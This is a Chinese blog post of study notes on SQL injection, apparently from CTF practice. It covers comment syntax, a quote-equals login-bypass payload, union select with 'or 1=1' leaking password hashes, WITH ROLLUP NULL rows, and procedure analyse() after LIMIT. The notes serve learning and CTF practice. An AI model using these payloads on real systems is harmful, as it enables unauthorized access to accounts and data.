SQL注入学习笔记(2)

SQL注入(2)

在做题时的一些总结

SQL注释

注释:
1.单行注释: - - ,mysql中#也可以 注意:浏览器url中#有特殊作用, 不一定能用
2.多行注释: /* */
3.‘- - + ’
注:+号在语句中变成了空格。用来和后面的单引号分隔开,将后面的语句注释。

了解原理后便知道了- -无法使用的原因,是因为- -与后面的单引号连接在一起,无法形成有效的mysql语句
#后面直接根的就是注释
– 第2个破折号后面至少跟一个空格符

例如:假设后台sql查询语句为:

select * from user where username=’$userand password=’$pass’

构造payload:

username=renhe’='&password=renhe’=’
结果:select * from user where username=’renhe' =' 'and password=’renhe’=' '

username='renhe’返回false,0,之后0= '得到1
最后where 1 and 1
也可以直接payload: username= ‘=’ & password= ‘=’
可以看一下这道题 http://ctf5.shiyanbar.com/web/wonderkun/web/index.html

with rollup

格式 SELECT year, SUM(profit) FROM sales GROUP BY year WITH ROLLUP;

mariadb> select username from member;
		+----------+
		| username |
		+----------+
		| vince    |
		| allen    |
		| kobe     |
		| grady    |
		| kevin    |
		| lucy     |
		| lili     |
		+----------+
		7 rows in set
mariadb> select username from member group by username with rollup;
		+----------+
		| username |
		+----------+
		| allen    |
		| grady    |
		| kevin    |
		| kobe     |
		| lili     |
		| lucy     |
		| vince    |
		| NULL     |
		+----------+
		8 rows in set

查询最后一行 多了一个NULL

Union select 补充

mysql> select password from users where user =' 'or 1=1 union select 'adsafs';
			+----------------------------------+
			| password                         |
			+----------------------------------+
			| 5f4dcc3b5aa765d61d8327deb882cf99 |
			| e99a18c428cb38d5f260853678922e03 |
			| 8d3533d75ae2c3966d7e0d4fcc69216b |
			| 0d107d09f5bbe40cade3de5c71e9e9b7 |
			| adsafs                           |
			+----------------------------------+
			5 rows in set

最后一行

procedure

当对union select ,order by 都不存在注入可能时,可以考虑limit 后面的 procedure 和 into
MySQL默认可用的存储过程只有 ANALYSE (doc)
procedure analyse()函数是MySQL内置的对MySQL字段值进行统计分析后给出建议的字段类型。
procesure analyse(max_elements,max_memory)
max_elements
指定每列非重复值的最大值,当超过这个值的时候,MySQL不会推荐enum类型。
max_memory
analyse()为每列找出所有非重复值所采用的最大内存大小

继续学习~~~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值